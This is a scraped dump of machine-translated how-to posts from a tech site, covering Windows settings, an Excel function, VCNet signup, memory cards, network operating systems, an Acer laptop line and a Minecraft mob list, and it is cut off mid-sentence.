Actions, click anywhere on the screen.\nWhy is Windows 11's Night Light not working? If the Night Light feature is grayed out, it means that you have not installed the correct driver for your graphics card or that your device uses certain drivers that are not compatible with this feature.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqvtcahq2akmZy1tXnIp2SwoZ6ZvLi%2FjGpo\n","link":"/post/how-to-use-night-light-in-windows-11/","section":"post","tags":null,"title":"How to use Night Light in Windows 11"},{"body":"You want to refer to a range of data without changing the formula in the cell. The following article introduces you to the INDIRECT function in Excel that helps you reference safe data without changing the formula in the cell.\n  INDIRECT function description The I NDIRECT function makes a reference to a range of data or a range of data in Excel. Use the INDIRECT function when you want to reference a cell in a formula without changing the formula.\nSyntax of the INDIRECT function INDIRECT (ref_text, [a1])\nInside:\n-\u0026nbsp; ref_text:\u0026nbsp; A reference to a range of data or a range of names.This reference can be either an A1\u0026nbsp; reference type\u0026nbsp; or a R1C1 reference\u0026nbsp; ( two ways to call a cell address), a defined name as a reference or a reference to cells as string text.\n-\u0026nbsp; a1:\u0026nbsp; The logical value determining the type of reference contained in the text, is an optional parameter with the following values:\n+\u0026nbsp; a1 \u0026nbsp;= True\u0026nbsp; or ignore -\u0026gt; Reference text is a reference of type\u0026nbsp; A1 which is column A row 1.\n+\u0026nbsp; a1 \u0026nbsp;= False\u0026nbsp; -\u0026gt; Reference text is a reference type\u0026nbsp; R1C1 is Row 1 and Column 1.\nAttention when using the INDIRECT function - In case of referencing the ref_text data area to another working window, it is required that the window must be open otherwise the function returns the #REF! Error value .\n- If the reference range exceeds the number of rows (greater than 1,048,576) or exceeds the number of columns (greater than 16,348 columns) =\u0026gt; the function returns the #REF! Error value\nINDIRECT function example Example 1: Simple example to familiarize you with cell addresses to help you determine the type of reference. For example, there are values ​​in column B, using the function to get the values ​​in column B starting from the 5th row with different reference types. In cells to calculate enter the formula: \u0026nbsp; = INDIRECT (E5, TRUE)\n  Hit Enter to get the results. For R1C1 reference type, enter the same formula instead of the value a1 = False:\n    The result returns the correct value. With other values ​​you do the same.\nExample 2: There is an order data sheet. For each item enter the selling price with the price data taken in 3 tables corresponding to 3 categories of goods:\n  Step 1: Name each data area of ​​the type, for example with electronic items blackened data from B15: C17 move to the address bar to enter the name of the data area, paying attention to the name of the data area coincides with the name Types of rows in the data table above:\n  Step 2: Similar to the name of the data area for consumer goods, sewing products. After entering in the cell, you need to get the formula's selling price: = VLOOKUP (D5, INDIRECT (C5), 2,0)\n  Step 3: Press Enter, you have obtained the selling price in the sub-table into the main data table:\n  Similarly copying the formula for the remaining values ​​results:\n  In addition to using the Indirect function, you can use the Vlookup function in combination with the if function:\n  The result returns the same value:\n  However, when the vlookup function combines the if statement, the statement will be longer than the Vlookup function combined with the Indirect function.\nAbove is how to use the INDIRECT function and some examples using the INDIRECT function hope to help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2BwyKucnKxdm8Kvr9OipqdlmaN6psTCnqNmoJ%2BserW7jK6qnmWZo7GqvsScq2aepaOwtbXOp2SappRisrmtzKmjnqtdqsCqusZmoKecmaeypMCMn6ynm6SevK8%3D\n","link":"/post/indirect-function-in-excel-how-to-use-indirect-function-and-examples-using-indirect-function/","section":"post","tags":null,"title":"INDIRECT function in Excel - How to use INDIRECT function and examples using INDIRECT function"},{"body":"VCNet is a social network established with the coordination of the Central Propaganda Department and Viettel Group. Help manage the operations of the Propaganda industry nationwide, computerize daily tasks. There is also a digital signature application, smart chatbot\nThis is also a means for users to share, exchange and propagate the guidelines of the Party and the State. Seizing public opinion quickly, orienting public opinion, creating a breakthrough for propaganda. Also reject the wrong information, if you want to join VCH VCNet, you can create a VCNet account following the instructions below this article.\nRegister Zalo, how to create a Zalo account on your computer How to create Mocha account on the phone Instructions for creating Hahalolo account Instructions for creating social network account VCNET Step 1: First, visit the VCNet homepage link following this link. Then click Register.\n  Step 2: Next, enter the phone number you are using, enter the verification code below and click Get activation code .\n  Step 3: Next will have a 6 digit OTP authentication code sent to your phone number, enter that OTP code in the Enter activation code.\nNext, scroll down and write all other information such as Display name, gender, date of birth .\n  Enter the password for your account, note that the password must use a capital letter, a digit and a special character (! @ # $%). Finally choose the City, District, Ward and Commune where you live and click Register to create a VCNet account.\n  Then log in with the phone number and password you just created to login. Below is the main interface of VCNet when you log in.\n  Your personal page, this is where you can see the status you posted, along with you can see the groups that have joined. You can also edit personal information such as avatars, cover photos .\n  Near your avatar on the right corner, you will see icons like Home Page, Notifications, Messages, Friend Invitations .\n  With the VCNet application interface on iPhone phones, you can see the simplified application interface to help users track information on VCNet most conveniently.\n  Above is the instruction to create VCNet account on the web version, with participation in the social network VCNet will help you share and know the correct information about the latest event events, avoiding knowing the information. negative news.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJyqlZbBpnnAp2Sam5Okwq%2FAjKucoKGjqbKzecBmrZymlal6oq%2FCqKynrA%3D%3D\n","link":"/post/instructions-to-create-an-account-register-a-vcnet-account/","section":"post","tags":null,"title":"Instructions to create an account, register a VCNet account"},{"body":"The Windows 10 version gives users a lot of new and upgraded features compared to previous operating systems. Including the smart notification on the computer. When there is any notification from the system or application installed on Windows 10, a small notification popup will appear on the right of the interface, followed by a sound. From there, users can know as well as quickly update the situation of computers, as well as software or applications.\nHowever, some people just need to show popup notifications, not to add audio because sometimes they will lose focus on the work being done. Very simple! We can completely disable notifications on Windows 10 system, even change the sound if desired when customizing settings on the computer.\n1. Turn off Windows 10 notification sound via Settings: Note when doing this, all notifications from sounds and popup notifications will be disabled on Windows 10.\nStep 1: At the interface on the computer, click on the Start menu button and select Settings . Or we press Windows + I.\n  Step 2: Next in the Settings interface, we will select the System item.\n  Step 3: In this interface, the menu list on the left we will click on Notifications \u0026amp; actions . Then look at the right interface, the Notifications section will be all the messages on the Windows 10 system. You can choose any option to disable the sound, then switch to Off mode.\n  Step 4: Also at that interface, you scroll down to the Show notifications section from these apps , select the applications that want to turn off notifications on Windows 10.\n  2. Change notification sound on Soud options: With this way, we can still turn off or change the notification sound, but you still get popup notifications on the screen interface.\nStep 1: At the screen interface, click on the speaker icon and select Sounds .\n  Step 2: In the Sound interface, select the Sounds tab and then go to Sound Scheme select Windows Default (modified) .\nNote , if we ca n't find the Windows Default (modified) entry in Sound Scheme, look at the Program Events section and click on the Notification bar .\n  Step 3: Next, click on the frame under Sounds and select None to not use the sound for the notification, then press OK to save the changes.\n  If you want to change the notification sound , we can select the sounds in the list in the Sounds section , click Test to check the selected sound and click OK to save.\n  So, we have disabled the notification sound on Windows 10 already. However, it is best to adjust the notification sound through Sound Options, can turn off or sound options, do not disappear the notification popup as when done on the Settings of the system.\nRefer to the following articles: Some tips to customize Taskbar on Windows 10 effectively 7 ways to do, customize in post will help your Windows 10 \"as fast as wind\" Instructions for fixing errors do not turn off Windows 10 computers and laptops I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZK2toqN6sLLFZqarZZOdrq%2BzxGauoqaUpMS0eZBpZKenpJ6zqq%2FAraCopl2ovLa6ww%3D%3D\n","link":"/post/instructions-to-turn-off-or-change-windows-10-notification-sound/","section":"post","tags":null,"title":"Instructions to turn off or change Windows 10 notification sound"},{"body":"Compact size, high speed and high capacity make memory cards quickly become popular storage media in mobile phones, digital cameras, PDAs, MP3 players . Although highly reliable, the card Remember also requires proper care to extend life. Only half the size of a regular gum, each memory card can hold up to hundreds of digital photos or songs. At the present time, the electronic design of the card is safer for data on the move than the mechanical-electronic design of mobile hard drives. The two most popular cards on the market today are Multimedia Card (MMC / RS-MMC) for mobile phones and Secure Digital (SD) for digital cameras. Some special types such as Compact Flash (CF) for professional digital cameras, specialized Memory Sticks in Sony digital devices and xD Picture for Olympus digital cameras. Of the above, SD cards are more dominant because approximately 70% of digital cameras use this type for storage. Some recent mobile phone models also use SD or Mini-SD version instead of MMC cards. According to Mr. Nguyen Hong Vu, owner of Vu Nhat digital camera (Hanoi), SD memory card has now reached the optimal standard limit in size, speed and capacity suitable for personal digital devices. . \" If it is smaller, it will be inconvenient for users to disassemble and reduce the maximum capacity of the card ,\" Vu said. Increasing demand for memory cards enables suppliers to produce large quantities, reducing product costs by half compared to a year ago, while shortening the price gap between capacity options. For cards with strong consumption such as SD and MMC, 512 MB capacity has a retail price of about 15-17 USD, not much different from the 256 MB type (about 12 USD to 14 USD). But a 1 GB card sold less still stays at $ 30-31, twice as high as 512 MB. Distinguish true fake When products are widely consumed, fake brands of famous brands also naturally appear. Distinguishing \"good\" and \"bad\" memory cards is even more difficult for professional people. \" Somehow, some factories in China have been able to import genuine cards. The external design is well-printed, so the identification of false positives is mainly based on personal experiences and feelings. \"Mr. Vu said. Technicians in Phu Thai, distribution company and forum owner specialize in memory cards, indicating that users can look at the contact point to feel. If the copper layer here is bright and smooth, the probability is higher. With a genuine card that has not been used any time, just removing it in the card once is leaving the contact point because the copper layer here is very soft. Counterfeit cards use harder, hard-to-scratch copper, making it hard to leave marks.\n   Differentiate Transcend memory card by looking at the serial number on the card and box.Photo: HH\nAccording to market people, distinguishing Transcend's genuine memory card is easiest because it always prints a blue serial number on the back of the card, coinciding with the number printed on the box. Users can search for products they buy at website www.transcendusa.com with this number. Serial number of fake Transcend card cannot be searched on the above website or give wrong information about the product.\nOther famous brands such as Sandisk, Kingston . all have counterfeit goods. In Vietnam, the only Kingston product is distributed by FPT and CMS. Most unknown cards are fake.\n  Kingston SD Elite Pro cards are genuine (left) and counterfeit (right).Photo: HH\n\nUse and store cards - Avoid bending, dropping and exposing the card to magnetism.\n- The camera should be turned off when removing the card. - Do not delete photos directly from the card on the computer. - Restrict to bring photo wash cards directly at the store. - Do not abuse the Card Format function.\nAccording to the experience of many vendors, memory cards for digital cameras are more likely to fail than other devices such as PDAs, phones or music players. The reason is that digital cameras have high working voltages, which are easily shocking. Also removing the memory card from the camera is more frequent than other devices. Vu Nhat camera owner said that the life of the card depends much on the usage of customers, even if it is a genuine product.\nMemory cards are especially sensitive to electrical problems, so avoid contact with magnetism. Users should turn off the power when removing the memory card. When washing photos, users should transfer photos on a CD or USB card instead of bringing a memory card to the store because the staff here sometimes does not have enough time to turn off the reading device when removing the card for the customer. In addition, users should not abuse the Format (format) card feature. The internal design of the memory card allows for disassembly, read and write about 10,000 times and over 1,000 times Format. Formatting the memory card should only be used when there are too many junk files remaining after a long time of use as the capacity is reduced compared to the original. In addition, reformatting the card also fixes corrupt errors (wrong format) is very common when used in many different devices. For digital travel cameras, card speed does not show much difference as in the professional model. Ordinary users can optionally choose cards that match their camera resolution. With a \"6 dots\" camera (6.0 megapixels) to \"7 dots\", the 1 GB card is most suitable. 8.0 megapixel camera should use cards with a capacity of over 2 GB. Hung Hai\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKycnKqVqXq1u4ydoKysmaO0trXSoWSappRiwrSxjKacpqeirnqkrdGdqg%3D%3D\n","link":"/post/the-secret-to-distinguish-and-use-memory-cards/","section":"post","tags":null,"title":"The secret to distinguish and use memory cards"},{"body":"You have heard a lot about the network operating system (NOS) but not fully understand it. Therefore, this article will explain the concept as well as mention the features of this operating system.\nNetworking basics - Part 16: Connecting to the Windows operating system network Understanding the OSI Model (Network Knowledge Part 17) Network basics: Part 18 - Sharing resources What is the network operating system Network Operating System? A network operating system is a specialized operating system for a network device such as a router, switch or firewall.\nThe network operating system is designed for the sole purpose of supporting workstations, sharing databases, sharing applications and files, accessing printers with multiple computers on a network. Some operating systems are independent, such as Microsoft Windows NT and Digital OpenVMS, which can function as network operating systems. Some of the most famous network operating systems include Microsoft Windows Server 2003, Microsoft Windows Server 2008, Linux and Mac OS X.\n  Previously, the network-connected operating system was called the network operating system because it allowed the personal computer (PC) to join the computer network and share the file, accessing the printer in the local network. (LAN). Today's popular operating systems include a network stack to support the client-server model.\nEarly computer operating systems such as CP / M, DOS and Mac OS were designed for one user on one computer. Packet switching network was developed to share hardware resources such as large and expensive computers, printers or hard drives. When local area network technology appears, there are two ways to share resources on the network.\nPreviously, a network operating system was the operating system for a computer, implementing network capabilities. Operating systems with stacked protocols allow personal computers to participate in the client-server architecture, in which the server allows multiple clients to share resources such as printers.\nPeer-to-peer operating systems use network connectivity to share resources and files on personal computers. This system is not based on file servers or centralized management resources. Peer networks establish all the same connected computers, all of which share the same ability to use available resources on the network. For example, a peer-to-peer peer-to-peer operating system like AppleShare is used to connect Apple devices, LANtastic supports DOS, Microsoft Windows and OS / 2 computers.\nToday distributed computing and groupware applications become the norm. In the 1980s, the demand for computers was network capable and the number of network devices increased rapidly. Partly because it allows interaction with the TCP / IP protocol suite that is commonly used in network architectures. Therefore, the computer operating system and firmware of the network device should support the TCP / IP protocol.\nNetwork operating system features The outstanding features of the network operating system are:\nBasic features such as protocol support, processor support, hardware detection and multi-processor support for applications. Security features such as authentication, limit, authorization and access control. Features for files, web services, printing and copying. Manage directory services and names. User management features along with rules for remote access and system management. Network connectivity features such as routing and WAN ports. Clustering capability. Common tasks related to network operating systems include:\nUser management. Operating system maintenance as backup. Task related to file management. Security monitoring on all resources in the network. Set the priority to print jobs in the network. Network device operating system Network operating systems can be embedded in routers or hardware firewalls that operate functions in the network layer (layer 3).\nExclusive network operating system\nCisco IOS, a group of network operating systems, is used on most Cisco Systems and Cisco's existing network switches. Previous switches have run the CatOS Catalyst OS. pfSense, a branch of M0n0wall using PF. IPOS, used in Ericsson routers. FortiOS, used in Fortigates from Fortinet. TiMOS, used in Alcatel-Lucent routers. The platform Versatile Routing Platform (VRP), used in Huawei's routers. RouterOS, the software turns the PC or MikroTik hardware into a router. ZyNOS, used in ZyXEL network devices. Extended operating systems are used in switches from Arista. Network operating system Drivenets (DNOS) is their cloud-based separation router software. Operating system based on NetBSD or Linux\nDD-WRT, Linux based DD-WRT kernel is a Linux-based firmware for wireless routers and access points as well as low-cost networking devices such as Linksys WRT54G. DNOS (Open Network Installation Environment), DNOS 9 is based on NetBSD, while DNOS 6 runs Linux kernel. EOS (Extended operating system), running on all Arista Networks products. The FTOS or Force10 operating system, which is the firmware used on Force10 Ethernet switches. ExtremeXOS (EXOS) is used in network equipment manufactured by Extreme Networks. Openwrt is used to route IP packets on embedded devices. Open source network operating system\nThe Cumulus Linux distribution uses the entire Linux TCP / IP stack. Open Linux network (ONL). OPX (OpenSwitch), a Linux Foundation operating system project of the Linux Foundation, for switches compliant with Open Compute Project organization and using ONIE boot loader. The project is supported by Dell EMC, Cavium and Metaswitch. ncG1vNJzZmismaXArq3KnmWcp51kwq%2BwxKuqrZmembavs4ynnK2vn6e4brvPnqmarJmjtG6%2F2KyrnqVdo7K1w86romanoJq%2FosDIp55mq6mowaa5jKemrA%3D%3D\n","link":"/post/understanding-network-operating-system-network-operating-system-nos/","section":"post","tags":null,"title":"Understanding Network Operating System Network Operating System (NOS)"},{"body":"Acer introduced the Acer Aspire 4736Z, 4736ZG product line with strong configuration, entertainment support with HD movies.\nThe external design of all three machines is completely identical, the case is painted with 3D Holographic technology which is resistant to high scratches, rounded and soft edges. The keyboard is redesigned, the keys are wide and fancyly arranged compared to other laptops. On the right side of the keyboard is a shortcut system, convenient to use such as backup button, turn on and off the wireless connection, save battery . the highlight is the power on and off button, lights the green light when the machine is operating. The bottom, the resting place, has fancy NeoWeave patterns, with multi-touch touchpad (Multi-gesture) and the toggle button arranged slightly to the left. Between the two keys of the touchpad there is a fingerprint reader button.\n  Acer Aspire 4736Z and Acer Aspire 4736ZG belong to the Acer Aspire 4736 series of different configurations including: Acer Aspire 4736Z-432G25Mn, ASPIRE 4736ZG-432G25MN, Acer Aspire 4736ZG-442G25Mn.\nAcer Aspire 4736Z and Acer Aspire 4736ZG support strong entertainment capabilities with 14 \"screen resolution of 1366 x 768 pixels standard 16: 9, CineCrystal technology applications, low latency (8ms), Acer CineCrystal technology applications So the colors are bright and clear.\nAudio system 2.1 with third-generation Dolby Home Theater technology feels very real when watching movies or listening to music. DVD-RW optical drive allows watching high quality movies on DVD. Being equipped with discrete graphics enhances the graphics processing power but still has a soft price that is quite difficult for manufacturers, so most affordable laptops are equipped with Intel integrated graphics. GMA 4500MHD. However, if you want to play PC games, the Aspire 4736ZG product line still meets the discrete graphics Nvidia Geforce G105M with 512 MB VRAM.\n  The case is painted with Holographic 3D technology in emerald green color.\nIn response to the work, Acer Aspire 4736Z and 4736ZG use Intel PM / GM45 Express chipset, combined with the new generation Intel Intel Dual Core T4300 processor (2 * 2.1GHz, 1MB cache, 800MHz FSB) or T4400 (2.2GHz, 1MB L2 Cache, 800MHz FSB), 2GB of DDR3 RAM, 320GB hard drive capacity. Users can upgrade up to 8GB of RAM for two RAM slots. Hard drive with 500GB capacity.\nThe two machines are equipped with a new wireless connection, along with a Gigabit LAN connection and dial-up connection so users can \"stay connected to the world\". Powerful high-speed wireless connection a / b / g / n, compatible with most Wi-Fi hotspots today. WiMAX dual-band connectivity helps enable connectivity wherever WiMAX technology is supported. Technology Acer exclusive SignalUp increases the ability to receive wireless signals. Above the screen there is a webcam with Crystal Eye technology and an integrated microphone that allows online seminars.\n  Powerful upgrade and high configuration, fast and diverse connectivity like: Wireless standard a / b / g / n, WiMAX, LAN Gigabit, dial-up.\nBattery life of up to 5 hours with only 6 cell battery is quite impressive compared to other popular models.\nSee the configuration of the machines on the market.\nAcer Aspire 4736Z-432G25Mn\nIntel Dual-Core T4300 (2.1GHz, 1MB L2 Cache, 800MHz FSB); Mobile Intel GM45 Express; Linux; 2GB DDR3; 250GB SATA; DVD +/- RW SuperMulti DL; Intel GMA 4500MHD; 14.1 \"HD LED LCD (16: 9 ratio), Dolby Room Audio, 5-in-1 cardreader; 3 USB 2.0; CIR port (infrared); VGA port; HDMI port; Acer Crystal Eye 802.11a / b / webcam g / N, Bluetooth 2.1 + EDR, BIOS user, HDDpassword, 6-cell Price: 9,686,000 VND .\nAcer Aspire 4736ZG-432G25MN\nIntel Dual-Core T4300 (2.1GHz, 1MB L2 Cache, 800MHz FSB); Mobile Intel GM45 Express; Linux; 2GB DDR3; 250GB SATA; DVD +/- RW SuperMulti DL; NVIDIA GeForce G 105M: 512MB; 14.1 \"HD LED LCD (16: 9 ratio), Dolby Room Audio, 5-in-1 cardreader; 3 USB 2.0; CIR port (infrared); VGA port; HDMI port; Acer Crystal Eye 802.11a / b / webcam g / N; Bluetooth 2.1 + EDR; BIOS user, HDDpassword, 6-cell Price: 10,566.00 VND\nAcer Aspire 4736ZG-442G25Mn\nIntel Dual-Core T4400 (2.2GHz, 1MB L2 Cache, 800MHz FSB); Mobile Intel GM45 Express; Linux; 2GB DDR3; 250GB SATA; DVD +/- RW SuperMulti DL; NVIDIA GeForce G 105M: 512MB; 14.1 \"HD LED LCD (16: 9 ratio), Dolby Room Audio, 5-in-1 cardreader; 3 USB 2.0; CIR port (infrared); VGA port; HDMI ™ port; Acer Crystal Eye webcam 802.11a / b / g / N; Bluetooth 2.1 + EDR; BIOS user, HDDpassword, 6-cell Price: 10,767,000 VND .\nCurrently these three products are distributed by CMC Distribution Company and have a genuine 1 year warranty.\nncG1vNJzZmismaXArq3KnmWcp51krqSx0WZrcGtmr3q0wc%2Bppquso2LAtb7Op55mnZ6psrPAwKKlpp2eqQ%3D%3D\n","link":"/post/acer-4736z-supports-strong-entertainment/","section":"post","tags":null,"title":"Acer 4736Z supports strong entertainment"},{"body":"In addition to dangerous mobs, there are mobs that will not attack the player. Overall, there are a lot of mobs to encounter and with this guide everyone will have a better understanding of mobs in Minecraft, where to find them and what items drop.\nThis tutorial is based on the Java version of Minecraft; if everyone is playing on the Bedrock or Pocket version, the mob spawn locations and item drop rates will be different. In addition, players can refer to how to kill Minecraft mobs quickly.\nList of mobs and items dropped from mobs in Minecraft Hostile mobs Hostile mobs will attack if the player is close enough. Here's a complete list of every hostile mob, as well as a quick description, what they drop, and where to find them.\n   mob name Description Items Location  Blaze Shoot fireballs at the player. 0-1 blaze rods Nether Fortresses  Creeper - Explodes when near the player. - Can become a charged Creeper if struck by lightning. - 0-2 gunpowder - Random music disc if killed by Skeleton or Stray. - Creeper's head if killed by another charged Creeper. Anywhere in the Overworld with a light level less than 7  Drowned Aquatic Variations of Zombies. - 0-2 rotten meat - 1 copper ingot - 1 trident (Only drops if Drowned has a trident in his hand). - Oceans and rivers. - Normal zombies can become Drowned if they drown.  Elder Guardian Mini boss of Ocean Ruins. - 0-2 prism pieces - 1 wet sponge - raw cod/prism crystals/no more drops. - 2.5% chance to drop a random fish. Ocean Ruins  Endermite Small mobs emit particles like nether portals. \u0026nbsp; 5% chance to spawn when the last pearl lands  Evoker Villagers can use magic. - 1 Totem of Undying. - 0-1 emerald. - 1 banner. - Woodland Castle - Raids  Ghast Huge white mobs hover and shoot dangerous fireballs. - 0-1 horrible tears - 0-2 gunpowder Nether Biomes: - Nether Waste - Soul Sand Valley - Basalt Plain  Guardian Mobs in Ocean Ruins. - 40% chance to drop raw cod - 40% chance to drop prism crystals Ocean Ruins  Hoglin Mob big pig, can be bred but very dangerous. - 2-4 pieces of raw pork - 0-1 skin Crimson Forest Remnant Base  Husk - The desert has many types of Zombies. - Do not burn under sunlight. - 0-2 rotten meat - 2.5% chance to get one of the following: iron ingot, carrot, potato. desert  Magma Cube A dangerous version of the normal Slime mob. 0-1 ice cream magma - Nether Waste - Basalt Plain - Nether Fortress - Remnant Base  Phantom - Appears at night if the player doesn't sleep for 3 days. - Burns in the sun. - 0-1 phantom membrane Anywhere in the Overworld  Piglin Brute - More powerful version of Piglin. - 8.5% chance to drop golden ax Remaining base  Pilager - Villagers have crossbows. \u0026nbsp; - Raids - Pilager Outposts - Patrols  Ravager - Aggressive mobs appear in raids that attack players, villagers (including babies), wandering merchants, iron golems. - 8.5% chance to drop crossbow - 1 banner - Raids  Shulker Boxy enemies shoot bullets, sending the player flying. 50% chance to drop a shell End Cities  Silverfish Mobs that can destroy blocks appear when an infectious block is broken. \u0026nbsp; Mining contaminated blocks in: - Strongholds - Under the Mountain biome -Igloo Basement - Woodland Castle  Skeleton Zombie mobs together, burning in sunlight. - 0-2 bones - 0-2 arrows - Armor and weapons - Anywhere in the Overworld with light level less than 7 - Nether Biome  Slime Cube-shaped mobs bounce around, splitting in two when attacked. 0-2 slimeballs  - Slime chunks\n- Swamp biome\n  Stray Snow variant of Skeleton, burning in sunlight. - 0-2 bones - 0-2 arrows - 0-1 arrows Slowness - Armor and weapons - Snowy Tundra - Frozen River  Vex Small flying mobs summoned by Evoker. \u0026nbsp; Summoned by Evoker  Vindicator - Villagers with iron axes. - 0-1 emerald - 1 Banner\u0026nbsp; - 8.5% chance to drop iron ax - Raids - Pilager Outposts - Patrols  witch - Mob throws the potion at the player and uses the potion to its own benefit. -12.5% ​​chance to: glass bottle/ glowstone dust/ gunpowder/ redstone/ spider eye/ sugar. 25% chance to drop a stick. - Anywhere in the Overworld with a light level less than 7 - In Witch Huts - Raids\n  Wither Skeleton Dark Skeletons can cause the Wither effect. - 0-2 bones. - 33% chance to get coal. - 2.5% Wither Skeleton Skull chance. - 8.5% chance to get stone sword. Nether Fortresses  Zoglin - Created when Hoglin entered The end or Overworld. - 1-3 rotten meat Overworld and End  Zombies - One of the most common enemies. - Burns under sunlight. - 0-2 rotten meat - Chance to get one of the following: iron ingot, carrot, potato. Anywhere in the Overworld with a light level less than 7  Zombie Villager Villagers attacked by Zombies, can be cured to become a normal villager. - 0-2 rotten meat - 2.5% chance to get one of the following: iron ingot, carrot, potato. In the village if a Zombie attacked   Boss mobs There are currently two boss mobs that players can encounter in Minecraft: Wither and Ender Dragon. After defeating the boss, everyone will receive a lot of loot.\n   Boss mobs Items  Wither - 1 Nether star - 50 experience  Ender Dragon - 12,000 experience (if killed for the first time) - 500 experience (if killed again) - Dragon Egg (if killed for the first time)   Passive mobs Passive mobs will do no harm even if the player attacks them first. When attacked, these mobs will run away.\n mob name Description Items Location  Axolotl - Aquatic mobs attack other aquatic mobs. -Can be hybridized \u0026nbsp; Below sea level  Cat - Pet mobs can be tamed - Crossbreedable 0-2 String - Village - Witch's hut  Chicken - Farm animal mobs can spawn naturally or have a 1/8th chance to spawn when throwing eggs. - Can breed.  - 0-2 feathers\n- 1 raw chicken\n - Anywhere in the Overworld with a light level greater than 9. - Only on solid blocks with at least two gaps above.\n  Code Aquatic fish - 1 raw cod. - 5% chance to get bonemeal. - Normal ocean - Cold ocean - Lukewarm ocean  Donkey - Variant of horse mobs. - Can be hybridized 0-2 da - Plains - Savanna  Glow Squid Glowing ink mobs 1-3 glow in the bag Below sea level, just in the dark  Horses - Mobs can be used for transportation - Can be hybridized 0-2 da - Plain Variants - Savanna Variants - Village  Mooshroom - Unique Mushroom Beef - Can be bred 0-2 skins 1-3 raw cows Mushroom field  Mule - Result from crossing a horse and a donkey - Can't cross-breed 0-2 da Raise a horse and a donkey  Ocelot - Forest variant of cats - Crossbreedable \u0026nbsp; Forest  Parrot - A mature bird that can imitate other crowds - Can sit on the player's shoulder 1-2 feathers - Jungle - Bamboo forest  Pig - Farm animal mobs - Crossbreedable 1-3 pieces of raw pork Anywhere in the Overworld with a light level greater than 9 (only on solid blocks with at least two gaps above)  Rabbit - Small mobs with fast speed - Crossbreedable\n - 0-1 hidden rabbit - 0-1 live rabbit - 10% chance to get rabbit feet\n - Desert - Taiga Variations -Frozen River - Snowy Tundra  Salmon Aquatic fish 1 raw salmon - Frozen Ocean Variants - Cold Ocean Variants - River Variations  Sheep - Farm animal mobs - Crossbreedable - 1 wool of the corresponding color - 1-2 raw sheep Anywhere in the Overworld with a light level more than 7 (only on solid blocks with at least two gaps above)  Snow Golem Attack other hostile and neutral mobs 0-15 snowballs Created by a single player with snow blocks and carved pumpkins  Squid Aquatic mobs 1-3 inch bags River and Ocean Variations  Strider - The only Mob that can go through lava without taking damage - Can be hybridized 2-5 string Nether Biomes : - Lava Sea - Nether Wastes - Crimson Forest - Warped Forest - Soul Sand Valley - Basalt Deltas  Tropical Fish Aquatic fish - 1 tropical fish - 5% chance to get bonemeal Variations of Lukewarm Ocean and Warm Ocean  Turtle - Beach turtle mobs - Can breed - Can only spawn at the beach\n - 0-2 seagrass - 1 bowl if struck by lightning Beach (snow-free variants)  Villager - Human-like mobs that live in small villages - Can breed \u0026nbsp; - Village - Basement Igloo  Wandering Trader Mob the villagers to travel, selling items for emeralds - 8.5% chance to get bucket of milk if killed while drinking from it - 8.5% chance to get potion in invisibility crate if killed while drinking from it 48 block radius around the player near the village bell  Bat Mob the bat \u0026nbsp; Below Y = 63 with brightness less than 3  Cow - Farm animal mobs - Can milk with bucket - 0-2 skins - 1-3 raw beef Anywhere in the Overworld with a light level greater than 9 (only on solid blocks with at least two gaps above)  Fox - Nocturnal mobs can carry things in their mouths - Can breed Drop objects only in their mouths (get nothing if mouth is empty) - Taiga - Giant Taiga Tree - Snowy Taiga  Skeleton Horse - Undead variant of horse - Can spawn when lightning strikes 0-2 bones Appears only in thunderstorms   Neutral mobs Neutral mobs are mobs that only attack if the player attacks them first. If playing in peaceful mode, these mobs will always be in a passive position.\n mob name Description Items Location  Bee - Flying mobs live in hive - Bee stings cause poison, but they will also die \u0026nbsp; Hive - 5% chance in Plains and Sunflower Plains - 2% chance in Forest of Flowers - 2% chance in Forest and Birch Forest variants  Cave Spider Hostile mobs at light level below 7 - 0-2 chains - 33% chance to get spider eyes Mineshafts  Dolphin - Underwater mobs can bring Dolphin's Grace - If attacking a dolphin, the whole pack will attack back 0-1 raw cod - Ocean Variations - Lukewarm Ocean Variations - Warm Ocean Variants  Enderman - Tall mobs can teleport - Will attack if attacked first or look it in the face 0-1 pearl Overworld: - Group of 2 at brightness level less than 7 Nether: - Light level less than 7 - Valley of Soul Sands - Nether Waste - Warping Forest End: - Everywhere\n  Goat - Mobs can jump high - Can breed \u0026nbsp; Mountain  Iron Golem - Iron mobs protect the village - Buildable with iron blocks and a carved pumpkin - 3-5 iron ingots - 0-2 poppies - Village (If villagers are present) - Iron block and carved pumpkin  Llama - This mob will spit if it attacks them - Attacks if a merchant traveling with camels is hit - Can breed 0-2 da - Mountains - Savanna Plateau  Panda - Mobs are peaceful, but if provoked can deal great damage - Can be hybridized 1 bamboo tree Dense forest Bamboo forest  Piglin Attack first if not wearing golden armor 8.5% chance to get the weapon held The Nether Biome  Polar Bear Find this mob in cooler biomes - 75% chance to get 0-2 live cod - 25% chance to get 0-2 raw salmon Variations of Snowy Tundra and Frozen Ocean  Puffer Fish - Unique aquatic fish are usually passive - Will cause poison if approached - 1 puffer fish - 5% chance to get bonemeal Variations of Lukewarm Ocean and Warm Ocean  Wolf - Dog breed mobs can be tamed - Crossbreedable \u0026nbsp; Forest Densely wooded hills Variants of Taiga  Zombified Piglin - Undead Piglin Variations - If attacked first, all nearby Zombified Piglins will surround the player - 0-1 gold nugget - 2.5% chance to get gold bar - 8.5% chance to drop their weapon - Nether biomes - Near the Nether portal in the Overworld - If normal Piglins enter the Nether portal, they will become Zombified - Pigs struck by lightning will die   The most useful mobs to collect items in Minecraft Collecting mobs is one of the useful jobs Minecraft players should do. They provide endless resources and XP - two things every player needs to defeat difficult late game bosses. However, not all mobs are created equal - some have better drop items. Here are the 5 most useful item drop mobs in Minecraft\nSkeleton   The Skeleton Farm is one of the easiest to set up and the most efficient at gathering items. The main reason is due to the variety of items it creates. With a Skeleton farm, players will never have to craft arrows again and with luck they can even spawn an infinity bow. Skeletons can be used to create bone meal, which results in higher food production.\nBlazes   Since Blaze Rods are one of the essential items in Minecraft, Blazes are a great mob to collect. Building a farm in the treacherous Nether is quite difficult but it's definitely worth it.\nWhile Blazes don't have as much of a list of items as Skeletons, they play a much more important role, as an essential ingredient in brewing, as a fuel for both brewing and smelting. In particular, it helps create Ender's eye for players to conquer End.\nPigs and Cows   Pigs and 